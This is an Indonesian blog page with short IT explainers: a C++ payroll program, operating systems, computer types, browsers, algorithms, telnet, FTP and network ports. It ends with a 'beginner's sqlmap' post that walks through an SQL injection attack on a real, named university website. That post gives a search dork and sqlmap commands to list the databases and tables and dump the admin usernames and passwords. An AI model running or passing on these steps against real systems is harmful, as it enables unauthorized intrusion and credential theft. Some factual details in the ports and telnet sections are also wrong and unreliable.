Contoh program gaji karyawan C++

Contoh program gaji karyawan C++

contoh program gaji karyawan c++

Contoh program gaji karyawan C++ - Gambar di atas merupakan flowchart dari program gaji karyawan yang akan ditulis dalam bahasa pemrograman C++. Dari Flowchart kita dapat tahu gambaran ketika program dijalankan. Program diatas akan menerima inputan status karyawan apakah sudah menikah atau belum. jika sudah menikah maka akan ditanyakan kembali sudah memiliki anak atau belum. jika sudah memiliki anak maka akan ditanya jumlah anak nya. jika melebihi 3 maka gaji pokok karyawan sebesar Rp. 5.000.000,- jika anaknya tidak melebihi 3 maka gaji pokok karyawan sebesar Rp. 4.000.000,-. nah jika belum memiliki anak maka gaji pokok karyawan sebesar Rp. 3.000.000,-. sedangkan untuk karyawan yang belum menikah maka gaji pokok yang di tampilkan sebesar Rp. 2.000.000,-


jika sudah memahami Flowchart maka dalam menulis program juga akan mudah. Berikut adalah Contoh program gaji karyawan C++ :


#include <iostream>
#include <string>


using namespace std;

int main() {
    // Write C++ code here
    string status;
    string hasAnak;
    int anak;
    
    cout<<"Masukan Status : "<<endl;
    getline (cin, status);
    if (status=="menikah"){
        cout<<"apakah sudah punya anak?(y/n)"<<endl;
        getline (cin, hasAnak);
        if (hasAnak=="y"){
            cout<<"jumlah anak?"<<endl;
            cin >> anak;
            if (anak>=3){
                cout<<"Gaji Pokok : Rp. 5.000.000,-"<<endl;
            }else{
                cout<<"Gaji Pokok : Rp. 4.000.000,-"<<endl;
            }
        }else {
            cout<<"Gaji Pokok : Rp. 3.000.000,-"<<endl;
        }
    }else{
        cout<<"Gaji Pokok : Rp. 2.000.000,-"<<endl;
    }
}


Pengertian dari operation system singkat

Pengertian dari operation system singkat

Pengertian dari operation system singkat

pengertian dari operation system singkat - Secara umum operation system merupakan perangkat lunak pada lapisan pertama yang terletak di memori komputer pada saat komputer dinyalakan. Adapun pengertian operation system menurut para ahli :

1. Menurut MCLEOD (PEARSON)

Operation system adalah program-program komputer yang mengatur sumber daya perangkat keras dan perangkat lunak komputer kita

2. Menurut M. Suyanto

Operation system adalah suatu sistem yang terdiri atas beberapa komponen perangkat lunak atau software yang memiliki fungsi untuk mengontrol seluruh aktivitas yang sudah dilakukan komputer

 3. Menurut Iim Rusyamsi

Operation system adalah perangkat lunak (software) yang dapat melakukan tugas mengontrol dan mengatur perangkat keras sekaligus operasi dasar sistem lainnya dan juga bisa untuk menjalankan program aplikasi

 4. Menurut Fery Indayudha 

Operation System adalah sebuah sistem yang dibutuhkan agar dapat menjalankan semua palikasi program/software yang ada di komputer

Fungsi Dari Operationg system 

Operating system memiliki beberapa fungsi yaitu:

1. Manajemen sumber daya komputer

Operating system dapat mengatur waktu sebuah software atau aplikasi yang dijalankan, dapat membagi penggunaan CPU saat software atau aplikasi sedang berjalan secara bersamaan, dapat memberi akses pada disk atau penyimpanan dan komponen lainnya.

2. Sebagai aplikasi dasar dari suatu perangkat

Operating system adalah pembentukan program yang ada pada suatu perangkat. dengan kata lain merupakan bagian inti yang mengatur semua hal yang dibutuhkan dalam menjalankan fungsi suatu perangkat.

3. Menghubungkan hardware atau perangkat keras

Operating system juga berperan dalam mengkoordinasikan semua perangkat yang saling berhubungan pada perangkat dalam waktu bersamaan. Dari hal ini Operating system berperan sebagai jembatan penghubung antara hardware atau perangkat keras dengan software atau perangkat lunak.

4. Melakukan optimalisasi fungsi perangkat

Operating system dapat mengoptimalkan kinerja suatu hardware atau perangkat keras maupun software atau perangkat lunak. Selain itu Operating system juga mengatur serta mengontrol hubungan antara hardware atau perangkat keras dengan software atau perangkat lunak agar saling bekerja sama dengan baik.

5. Mengatur sistem kerja perangkat

Operating system dapat mengatur semua fungsi hardware atau perangkat keras yang digunakan.



Inilah 3 jenis komputer berdasarkan data yang diolah

Inilah 3 jenis komputer berdasarkan data yang diolah

Inilah 3 jenis komputer berdasarkan data yang diolah

Inilah 3 jenis komputer berdasarkan data yang diolah - Berikut adalah 3 jenis-jenis komputer berdasarkan Data Yang diolah :

1. Komputer analog

Komputer jenis ini merupakan jenis komputer yang dapat menganalisa dan melakukan penghitungan secara analog. Data yang diolah biasanya bersifat kontinyu dengan data berupa besaran fisik danjuga angka secara kuantitatif.

Kelebihan :

- Mudah dioperasikan

- Memiliki fungsi spesisik untuk satu bidang

- Merepresentasikan besaran yang akan di proses

Kekurangan :

- Hanya menghitung data yang bisa diolahnya saja

- Komponen rumit

- Tidak multifungsi

- Daya cukup besar

- Terkadang sulit dalam pemrosesan data berupa angka

Contoh :

- Pengukur voltase listrik

- Pengukur gelombang suara

- Thermometer

2. Komputer Digital 

Komputer digital ini dapat bekerja dengan berbagai macam pemrograman algoritma dan juga aritmatika sehingga dapat menampilkan hasil dalam bentuk angka.

Kelebihan :

- Bekerja dengan cepat

- Output data berupa angka, huruf, tulisan, gambar, hingga grafik

- Dapat menyimpan angka

- multi fungsi 

Contoh :

- Komputer 

- Kalkulator

- Timbangan Berat Badan Digital

3. Komputer Hybrid

Komputer Hybrid merupakan komputer gabungan dari jenis komputer analog dan komputer digital. 

Kelebihan :

- Cepat dalam pemrosesan data dibandingkan komputer analog maupun digital

Contoh :

- Penggunaan mesin pada robot yang sudah terkomputerisasi

- PC Impian (NEC powermate yaitu komputer pertama di Indonesia)


Pengertian peramban serta fitur peramban

Pengertian peramban serta fitur peramban

Pengertian peramban serta fitur peramban

Pengertian peramban serta fitur peramban - Peramban atau browser Merupakan suatu perangkat lunak yang digunakan untuk melakukan pencarian informasi atau mengakses situs yang ada di internet dan dapat memuat konten berupa gambar, video, dan halaman pada web.

Fitur Utama 

Di dalam peramban atau browser terdapat fitur umum yaitu :

1. address bar berfungsi meletakan alamat web yang ingin dikunjungi

2. Back berfungsi untuk kembali ke halaman sebelumnya

3. Forward berfungsi untuk maju kehalaman sebelum "back"

4. Refresh berfungsi untuk menyegarkan kembali tampilan dengan mengambil data terbaru website

5. Stop berfungsi menghentikan proses transfer data

6. Bookmark atau pembatas buku berfungsi menandai halaman web favorit

 


Pengertian algoritma beserta contoh algoritma singkat

Pengertian algoritma beserta contoh algoritma singkat

Pengertian algoritma beserta contoh algoritma singkat

Pengertian algoritma beserta contoh algoritma singkat - Algoritma adalah suatu metode atau langkah yang dibuat tersusun serta berurutan untuk menyelesaikan atau memecahkan suatu permasalahan dengan sebuah instruksi atau kegiatan.

Mengapa Perlu Algoritma? 

Algoritma memiliki fungsi sangat besar dalam kehidupan. Selain digunakan untuk memecahkan masalah algoritma juga digunakan sebagai panduan atau petunjuk dalam beraktivitas. 

Contoh Algoritma Dikehidupan Sehari-hari 

Sebagai contoh dalam melakukan pengecasan terhadap ponsel. Jika pinsel telah menunjukan baterai telah habis maka segera ambil charger. Selanjutnya pasang charger pada ponsel lalu pasang pada stop kontak dan pastikan pasang dengan benar. Jika ponsel menunjukan bahwa proses pengisian daya maka tunggu hingga proses selesai. Jika indikator baterai telah penuh maka cabutlah charger pada colokan dan ponsel dan ponsel siap digunakan kembali.


Pengertian telnet, fungsi, serta kelebihan dan kekurangan telnet

Pengertian telnet, fungsi, serta kelebihan dan kekurangan telnet

Pengertian telnet, fungsi, serta kelebihan dan kekurangan telnet

Pengertian telnet, fungsi, serta kelebihan dan kekurangan telnet - Telnet merupakan suatu protokol client-server yang bisa memberikan akses remote jarak jauh untuk mengakses komputer atau perangkat tertentu disebuah jaringan. 

Tugas client dan server

Client :

1. menghubungakan atau membuat network antara TCP dengan server

2. mendapat inputan dari pihak pengguna

3. melakukan format ulang input dari pengguna sebelum mengirimkan ke server

4. mendapat output dari server

5. menampilkan output dari server

Server:

1. memberikan informasi kepada pengguna bahwa server bisa dikoneksikan

2. menunggu permintaan dari pengguna

3. mengerjakan permintaan dari pengguna

4. mengirimkan hasil kepada pengguna 

5. menunggu permintaan lainnya yang akan dikirimkan selama proses berlangsung

Fungsi telnet

Pada dasarnya telnet berfungsi sebagai cara akses sebuah komputer secara jarak jauh. Inilah yang biasa dikenali dengan istilah remote access. 

Kelebihan telnet

tampilan yang di tawarkan tergolong ramah terhadap pengguna dan tergolong sama dengan komputer yang diakses.

Kekurangan telnet

otentikasi yang digunakan ialah otentikasi NTLM tanpa enkripsi. Ini menjadikan kerentanan terkait aspek keamanan sistem dan memudahkan pencurian password.


Pengertian FTP (File Transfer Protocol) dan kegunaannya

Pengertian FTP (File Transfer Protocol) dan kegunaannya


Pengertian FTP (File Transfer Protocol) dan kegunaannya - FTP adalah singkatan dari File Transfer Protocol, merupakan salah satu cara komunikasi antara komputer di dalam jaringan. Hal ini memungkinkan pengguna dapat saling mengirim file dari komputer satu ke komputer yang lain secara praktis.

Fungsi dan kegunaan dari ftp antara lain :

1. melakukan transfer data dua arah

2. melakukan transfer data berukuran besar

3. backup website dapat dilakukan dengan mudah



Macam macam port jaringan dan kegunaan port jaringan

Macam macam port jaringan dan kegunaan port jaringan

 

Macam macam port jaringan dan kegunaan port jaringan
Macam macam port jaringan dan kegunaan port jaringan - Port dalam komputer memiliki 2 macam yaitu port fisik dan port login. Port fisik adalah port dalam komputer yang dapat dilihat dan dirasakan secara fisik. port ini memiliki fungsi utama yaitu menghubungkan dua atau lebih komponen yang nyata secara fisik, semisal komputer server dan komputer client. Sedangkan port login adalah port yang tidak dapat dilihat secara fisik, port ini memiliki fungsi yang sama yaitu menghubungkan antara perangkat lain, namun bedanya port ini menghubungkan melalui protokol.

Macam-macam port logic :

1. port 21 : digunakan untuk koneksi FTP

2. port 22 : digunakan untuk koneksi SSH

3. port 23 : digunakan untuk koneksi telnet

4. port 25 : digunakan untuk pengiriman email(SMTP)

5. port 2525 : alternative pengiriman email (SMTP)

6. port 110 : digunakan untuk pengiriman email menggunakan protokol POP3 atau Post Office Protocol maupun IMAP4 atau Internet Message Access Protocol

7. port 443 : digunakan untuk menjalankan sebuah server aman atau SSL

8. port 3306 : Biasanya digunakan untuk koneksi aplikasi MySql

9. port 80 : digunakan untuk koneksi web server

10. port 81 : alternative koneksi web server


Begini cara menggunakan sqlmap pemula

Begini cara menggunakan sqlmap pemula

 

Begini cara menggunakan sqlmap pemula

 

Begini cara menggunakan sqlmap pemula  - Sqlmap merupakan tools untuk melakukan eksploitasi Sql Injection.

1. dorking sesuai dengan metode yang akan di gunakan. Disini saya akan menggunakan metode Sql injection. Dork : inurl:detail-dosen.php?id=

 

2. masuk web kemudian cek apakah vuln terhadap sql inject atau tidak.

  

- tes dengan karakter ‘ terdapat data yang hilang.

 

3. selanjutnya menggunakan sqlmap, command yang digunakan

(sqlmap -u "http://data.fmipa.unand.ac.id/matematika/web/detail-dosen.php?id=1*" --random-agent --threads 10 –dbs) terdapat database yang ada di web tersebut.

4. mendapatkan data tabel di database matematika (qlmap -u "http://data.fmipa.unand.ac.id/matematika/web/detail-dosen.php?id=1*" --random-agent --threads 10 -D matematika --tables)


5. mengambil data admin untuk login (sqlmap -u "http://data.fmipa.unand.ac.id/matematika/web/detail-dosen.php?id=1*" --random-agent --threads 10 -D matematika -T admin -C username,password,level,blokir --dump)